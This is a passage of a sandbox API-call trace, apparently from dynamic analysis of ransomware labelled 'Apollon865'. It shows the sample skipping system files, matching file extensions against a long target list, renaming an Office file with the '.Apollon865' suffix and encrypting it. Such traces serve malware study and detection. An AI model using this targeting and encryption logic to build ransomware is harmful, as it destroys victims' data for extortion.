	[0066.671] lstrcmpiW (lpString1=".DPV", lpString2="rodx") returned -1
	[0066.671] lstrlenW (lpString="rpd") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="rpd") returned -1
	[0066.671] lstrlenW (lpString="rsd") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="rsd") returned -1
	[0066.671] lstrlenW (lpString="sas7bdat") returned 8
	[0066.671] lstrcmpiW (lpString1="ERBB.DPV", lpString2="sas7bdat") returned -1
	[0066.671] lstrlenW (lpString="sbf") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="sbf") returned -1
	[0066.671] lstrlenW (lpString="scx") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="scx") returned -1
	[0066.671] lstrlenW (lpString="sdb") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="sdb") returned -1
	[0066.671] lstrlenW (lpString="sdc") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="sdc") returned -1
	[0066.671] lstrlenW (lpString="sdf") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="sdf") returned -1
	[0066.671] lstrlenW (lpString="sis") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="sis") returned -1
	[0066.671] lstrlenW (lpString="spq") returned 3
	[0066.671] lstrcmpiW (lpString1="DPV", lpString2="spq") returned -1
	[0066.671] lstrlenW (lpString="te") returned 2
	[0066.671] lstrcmpiW (lpString1="PV", lpString2="te") returned -1
	[0066.671] lstrlenW (lpString="teacher") returned 7
	[0066.671] lstrcmpiW (lpString1="RBB.DPV", lpString2="teacher") returned -1
	[0066.671] lstrlenW (lpString="tmd") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="tmd") returned -1
	[0066.672] lstrlenW (lpString="tps") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="tps") returned -1
	[0066.672] lstrlenW (lpString="trc") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.672] lstrlenW (lpString="trc") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.672] lstrlenW (lpString="trm") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="trm") returned -1
	[0066.672] lstrlenW (lpString="udb") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="udb") returned -1
	[0066.672] lstrlenW (lpString="udl") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="udl") returned -1
	[0066.672] lstrlenW (lpString="usr") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="usr") returned -1
	[0066.672] lstrlenW (lpString="v12") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="v12") returned -1
	[0066.672] lstrlenW (lpString="vis") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="vis") returned -1
	[0066.672] lstrlenW (lpString="vpd") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="vpd") returned -1
	[0066.672] lstrlenW (lpString="vvv") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="vvv") returned -1
	[0066.672] lstrlenW (lpString="wdb") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="wdb") returned -1
	[0066.672] lstrlenW (lpString="wmdb") returned 4
	[0066.672] lstrcmpiW (lpString1=".DPV", lpString2="wmdb") returned -1
	[0066.672] lstrlenW (lpString="wrk") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="wrk") returned -1
	[0066.672] lstrlenW (lpString="xdb") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="xdb") returned -1
	[0066.672] lstrlenW (lpString="xld") returned 3
	[0066.672] lstrcmpiW (lpString1="DPV", lpString2="xld") returned -1
	[0066.672] lstrlenW (lpString="xmlff") returned 5
	[0066.673] lstrcmpiW (lpString1="B.DPV", lpString2="xmlff") returned -1
	[0066.673] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ef0c00, ftCreationTime.dwHighDateTime=0x1c97a03, ftLastAccessTime.dwLowDateTime=0x5fff0470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43ef0c00, ftLastWriteTime.dwHighDateTime=0x1c97a03, nFileSizeHigh=0x0, nFileSizeLow=0x4e42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BORDERBB.POC", cAlternateFileName="")) returned 1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2=".") returned 1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="..") returned 1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="windows") returned -1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="bootmgr") returned 1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="temp") returned -1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="pagefile.sys") returned -1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="boot") returned 1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="ids.txt") returned -1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="ntuser.dat") returned -1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="perflogs") returned -1
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2="MSBuild") returned -1
	[0066.673] lstrlenW (lpString="BORDERBB.POC") returned 12
	[0066.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV") returned 62
	[0066.673] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BORDERBB.POC" | out: lpString1="BORDERBB.POC") returned="BORDERBB.POC"
	[0066.673] lstrlenW (lpString="BORDERBB.POC") returned 12
	[0066.673] lstrlenW (lpString="Apollon865") returned 10
	[0066.673] lstrcmpiW (lpString1="RDERBB.POC", lpString2="Apollon865") returned 1
	[0066.673] lstrlenW (lpString=".dll") returned 4
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2=".dll") returned 1
	[0066.673] lstrlenW (lpString=".lnk") returned 4
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2=".lnk") returned 1
	[0066.673] lstrlenW (lpString=".ini") returned 4
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2=".ini") returned 1
	[0066.673] lstrlenW (lpString=".sys") returned 4
	[0066.673] lstrcmpiW (lpString1="BORDERBB.POC", lpString2=".sys") returned 1
	[0066.673] lstrlenW (lpString="BORDERBB.POC") returned 12
	[0066.673] lstrlenW (lpString="bak") returned 3
	[0066.673] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.673] lstrlenW (lpString="ba_") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.674] lstrlenW (lpString="dbb") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.674] lstrlenW (lpString="vmdk") returned 4
	[0066.674] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.674] lstrlenW (lpString="rar") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.674] lstrlenW (lpString="zip") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.674] lstrlenW (lpString="tgz") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.674] lstrlenW (lpString="vbox") returned 4
	[0066.674] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.674] lstrlenW (lpString="vdi") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.674] lstrlenW (lpString="vhd") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.674] lstrlenW (lpString="vhdx") returned 4
	[0066.674] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.674] lstrlenW (lpString="avhd") returned 4
	[0066.674] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.674] lstrlenW (lpString="db") returned 2
	[0066.674] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.674] lstrlenW (lpString="db2") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.674] lstrlenW (lpString="db3") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.674] lstrlenW (lpString="dbf") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.674] lstrlenW (lpString="mdf") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.674] lstrlenW (lpString="mdb") returned 3
	[0066.674] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.675] lstrlenW (lpString="sql") returned 3
	[0066.675] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.675] lstrlenW (lpString="sqlite") returned 6
	[0066.675] lstrcmpiW (lpString1="BB.POC", lpString2="sqlite") returned -1
	[0066.675] lstrlenW (lpString="sqlite3") returned 7
	[0066.675] lstrcmpiW (lpString1="RBB.POC", lpString2="sqlite3") returned -1
	[0066.675] lstrlenW (lpString="sqlitedb") returned 8
	[0066.675] lstrcmpiW (lpString1="ERBB.POC", lpString2="sqlitedb") returned -1
	[0066.675] lstrlenW (lpString="xml") returned 3
	[0066.675] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.675] lstrlenW (lpString="$er") returned 3
	[0066.675] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.675] lstrlenW (lpString="4dd") returned 3
	[0066.675] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.675] lstrlenW (lpString="4dl") returned 3
	[0066.675] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.675] lstrlenW (lpString="^^^") returned 3
	[0066.675] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.675] lstrlenW (lpString="abs") returned 3
	[0066.675] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.675] lstrlenW (lpString="abx") returned 3
	[0066.675] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.675] lstrlenW (lpString="accdb") returned 5
	[0066.675] lstrcmpiW (lpString1="B.POC", lpString2="accdb") returned 1
	[0066.675] lstrlenW (lpString="accdc") returned 5
	[0066.675] lstrcmpiW (lpString1="B.POC", lpString2="accdc") returned 1
	[0066.675] lstrlenW (lpString="accde") returned 5
	[0066.675] lstrcmpiW (lpString1="B.POC", lpString2="accde") returned 1
	[0066.675] lstrlenW (lpString="accdr") returned 5
	[0066.675] lstrcmpiW (lpString1="B.POC", lpString2="accdr") returned 1
	[0066.676] lstrlenW (lpString="accdt") returned 5
	[0066.676] lstrcmpiW (lpString1="B.POC", lpString2="accdt") returned 1
	[0066.676] lstrlenW (lpString="accdw") returned 5
	[0066.676] lstrcmpiW (lpString1="B.POC", lpString2="accdw") returned 1
	[0066.676] lstrlenW (lpString="accft") returned 5
	[0066.676] lstrcmpiW (lpString1="B.POC", lpString2="accft") returned 1
	[0066.676] lstrlenW (lpString="adb") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.676] lstrlenW (lpString="adb") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.676] lstrlenW (lpString="ade") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.676] lstrlenW (lpString="adf") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.676] lstrlenW (lpString="adn") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.676] lstrlenW (lpString="adp") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.676] lstrlenW (lpString="alf") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.676] lstrlenW (lpString="ask") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.676] lstrlenW (lpString="btr") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.676] lstrlenW (lpString="cat") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.676] lstrlenW (lpString="cdb") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.676] lstrlenW (lpString="ckp") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.676] lstrlenW (lpString="cma") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.676] lstrlenW (lpString="cpd") returned 3
	[0066.676] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.677] lstrlenW (lpString="dacpac") returned 6
	[0066.677] lstrcmpiW (lpString1="BB.POC", lpString2="dacpac") returned -1
	[0066.677] lstrlenW (lpString="dad") returned 3
	[0066.677] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.677] lstrlenW (lpString="dadiagrams") returned 10
	[0066.677] lstrcmpiW (lpString1="RDERBB.POC", lpString2="dadiagrams") returned 1
	[0066.677] lstrlenW (lpString="daschema") returned 8
	[0066.677] lstrcmpiW (lpString1="ERBB.POC", lpString2="daschema") returned 1
	[0066.677] lstrlenW (lpString="db-journal") returned 10
	[0066.677] lstrcmpiW (lpString1="RDERBB.POC", lpString2="db-journal") returned 1
	[0066.677] lstrlenW (lpString="db-shm") returned 6
	[0066.677] lstrcmpiW (lpString1="BB.POC", lpString2="db-shm") returned -1
	[0066.677] lstrlenW (lpString="db-wal") returned 6
	[0066.677] lstrcmpiW (lpString1="BB.POC", lpString2="db-wal") returned -1
	[0066.677] lstrlenW (lpString="dbc") returned 3
	[0066.677] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.677] lstrlenW (lpString="dbs") returned 3
	[0066.677] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.677] lstrlenW (lpString="dbt") returned 3
	[0066.677] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.677] lstrlenW (lpString="dbv") returned 3
	[0066.677] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.677] lstrlenW (lpString="dbx") returned 3
	[0066.677] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.677] lstrlenW (lpString="dcb") returned 3
	[0066.677] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.677] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.678] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BRCH98SP.POC" | out: lpString1="BRCH98SP.POC") returned="BRCH98SP.POC"
	[0066.678] lstrlenW (lpString="BRCH98SP.POC") returned 12
	[0066.678] lstrlenW (lpString="Apollon865") returned 10
	[0066.678] lstrcmpiW (lpString1="CH98SP.POC", lpString2="Apollon865") returned 1
	[0066.678] lstrlenW (lpString=".dll") returned 4
	[0066.678] lstrcmpiW (lpString1="BRCH98SP.POC", lpString2=".dll") returned 1
	[0066.678] lstrlenW (lpString=".lnk") returned 4
	[0066.678] lstrcmpiW (lpString1="BRCH98SP.POC", lpString2=".lnk") returned 1
	[0066.678] lstrlenW (lpString=".ini") returned 4
	[0066.678] lstrcmpiW (lpString1="BRCH98SP.POC", lpString2=".ini") returned 1
	[0066.678] lstrlenW (lpString=".sys") returned 4
	[0066.678] lstrcmpiW (lpString1="BRCH98SP.POC", lpString2=".sys") returned 1
	[0066.678] lstrlenW (lpString="BRCH98SP.POC") returned 12
	[0066.678] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BRCHUR11.POC" | out: lpString1="BRCHUR11.POC") returned="BRCHUR11.POC"
	[0066.678] lstrlenW (lpString="BRCHUR11.POC") returned 12
	[0066.678] lstrlenW (lpString="Apollon865") returned 10
	[0066.678] lstrcmpiW (lpString1="CHUR11.POC", lpString2="Apollon865") returned 1
	[0066.678] lstrlenW (lpString=".dll") returned 4
	[0066.678] lstrcmpiW (lpString1="BRCHUR11.POC", lpString2=".dll") returned 1
	[0066.678] lstrlenW (lpString=".lnk") returned 4
	[0066.678] lstrcmpiW (lpString1="BRCHUR11.POC", lpString2=".lnk") returned 1
	[0066.678] lstrlenW (lpString=".ini") returned 4
	[0066.678] lstrcmpiW (lpString1="BRCHUR11.POC", lpString2=".ini") returned 1
	[0066.678] lstrlenW (lpString=".sys") returned 4
	[0066.678] lstrcmpiW (lpString1="BRCHUR11.POC", lpString2=".sys") returned 1
	[0066.678] lstrlenW (lpString="BRCHUR11.POC") returned 12
	[0066.678] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BRCHUR98.POC" | out: lpString1="BRCHUR98.POC") returned="BRCHUR98.POC"
	[0066.679] lstrlenW (lpString="BRCHUR98.POC") returned 12
	[0066.679] lstrlenW (lpString="Apollon865") returned 10
	[0066.679] lstrcmpiW (lpString1="CHUR98.POC", lpString2="Apollon865") returned 1
	[0066.679] lstrlenW (lpString=".dll") returned 4
	[0066.679] lstrcmpiW (lpString1="BRCHUR98.POC", lpString2=".dll") returned 1
	[0066.679] lstrlenW (lpString=".lnk") returned 4
	[0066.679] lstrcmpiW (lpString1="BRCHUR98.POC", lpString2=".lnk") returned 1
	[0066.679] lstrlenW (lpString=".ini") returned 4
	[0066.679] lstrcmpiW (lpString1="BRCHUR98.POC", lpString2=".ini") returned 1
	[0066.679] lstrlenW (lpString=".sys") returned 4
	[0066.679] lstrcmpiW (lpString1="BRCHUR98.POC", lpString2=".sys") returned 1
	[0066.679] lstrlenW (lpString="BRCHUR98.POC") returned 12
	[0066.679] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BROCHURE.DPV" | out: lpString1="BROCHURE.DPV") returned="BROCHURE.DPV"
	[0066.679] lstrlenW (lpString="BROCHURE.DPV") returned 12
	[0066.679] lstrlenW (lpString="Apollon865") returned 10
	[0066.679] lstrcmpiW (lpString1="OCHURE.DPV", lpString2="Apollon865") returned 1
	[0066.679] lstrlenW (lpString=".dll") returned 4
	[0066.679] lstrcmpiW (lpString1="BROCHURE.DPV", lpString2=".dll") returned 1
	[0066.679] lstrlenW (lpString=".lnk") returned 4
	[0066.679] lstrcmpiW (lpString1="BROCHURE.DPV", lpString2=".lnk") returned 1
	[0066.679] lstrlenW (lpString=".ini") returned 4
	[0066.679] lstrcmpiW (lpString1="BROCHURE.DPV", lpString2=".ini") returned 1
	[0066.679] lstrlenW (lpString=".sys") returned 4
	[0066.679] lstrcmpiW (lpString1="BROCHURE.DPV", lpString2=".sys") returned 1
	[0066.679] lstrlenW (lpString="BROCHURE.DPV") returned 12
	[0066.679] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BROCHURE.XML" | out: lpString1="BROCHURE.XML") returned="BROCHURE.XML"
	[0066.679] lstrlenW (lpString="BROCHURE.XML") returned 12
	[0066.679] lstrlenW (lpString="Apollon865") returned 10
	[0066.679] lstrcmpiW (lpString1="OCHURE.XML", lpString2="Apollon865") returned 1
	[0066.679] lstrlenW (lpString=".dll") returned 4
	[0066.679] lstrcmpiW (lpString1="BROCHURE.XML", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString=".lnk") returned 4
	[0066.680] lstrcmpiW (lpString1="BROCHURE.XML", lpString2=".lnk") returned 1
	[0066.680] lstrlenW (lpString=".ini") returned 4
	[0066.680] lstrcmpiW (lpString1="BROCHURE.XML", lpString2=".ini") returned 1
	[0066.680] lstrlenW (lpString=".sys") returned 4
	[0066.680] lstrcmpiW (lpString1="BROCHURE.XML", lpString2=".sys") returned 1
	[0066.680] lstrlenW (lpString="BROCHURE.XML") returned 12
	[0066.680] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML.Apollon865") returned 73
	[0066.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.681] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=30074) returned 1
	[0066.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.682] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.682] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.682] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.682] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7880, lpName=0x0) returned 0x154
	[0066.684] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7880) returned 0x100000
	[0066.686] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.686] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.686] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.687] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.687] CloseHandle (hObject=0x154) returned 1
	[0066.687] CloseHandle (hObject=0x15c) returned 1
	[0066.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.688] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS2BARB.POC", cAlternateFileName="")) returned 1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2=".") returned 1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="..") returned 1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="windows") returned -1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="bootmgr") returned 1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="temp") returned -1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="pagefile.sys") returned -1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="boot") returned 1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="ids.txt") returned -1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="ntuser.dat") returned -1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="perflogs") returned -1
	[0066.688] lstrcmpiW (lpString1="BS2BARB.POC", lpString2="MSBuild") returned -1
	[0066.688] lstrlenW (lpString="BS2BARB.POC") returned 11
	[0066.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML") returned 62
	[0066.688] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BS2BARB.POC" | out: lpString1="BS2BARB.POC") returned="BS2BARB.POC"
	[0066.688] lstrlenW (lpString="BS2BARB.POC") returned 11
	[0066.688] lstrlenW (lpString="Apollon865") returned 10
	[0066.689] lstrcmpiW (lpString1="S2BARB.POC", lpString2="Apollon865") returned 1
	[0066.689] lstrlenW (lpString=".dll") returned 4
	[0066.689] lstrcmpiW (lpString1="BS2BARB.POC", lpString2=".dll") returned 1
	[0066.689] lstrlenW (lpString=".lnk") returned 4
	[0066.689] lstrcmpiW (lpString1="BS2BARB.POC", lpString2=".lnk") returned 1
	[0066.689] lstrlenW (lpString=".ini") returned 4
	[0066.689] lstrcmpiW (lpString1="BS2BARB.POC", lpString2=".ini") returned 1
	[0066.689] lstrlenW (lpString=".sys") returned 4
	[0066.689] lstrcmpiW (lpString1="BS2BARB.POC", lpString2=".sys") returned 1
	[0066.689] lstrlenW (lpString="BS2BARB.POC") returned 11
	[0066.689] lstrlenW (lpString="bak") returned 3
	[0066.689] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.689] lstrlenW (lpString="ba_") returned 3
	[0066.689] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.689] lstrlenW (lpString="dbb") returned 3
	[0066.689] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.689] lstrlenW (lpString="vmdk") returned 4
	[0066.689] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.689] lstrlenW (lpString="rar") returned 3
	[0066.689] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.689] lstrlenW (lpString="zip") returned 3
	[0066.689] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.689] lstrlenW (lpString="tgz") returned 3
	[0066.689] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.689] lstrlenW (lpString="vbox") returned 4
	[0066.689] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.689] lstrlenW (lpString="vdi") returned 3
	[0066.689] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.689] lstrlenW (lpString="vhd") returned 3
	[0066.689] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.689] lstrlenW (lpString="vhdx") returned 4
	[0066.689] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.689] lstrlenW (lpString="avhd") returned 4
	[0066.690] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.690] lstrlenW (lpString="db") returned 2
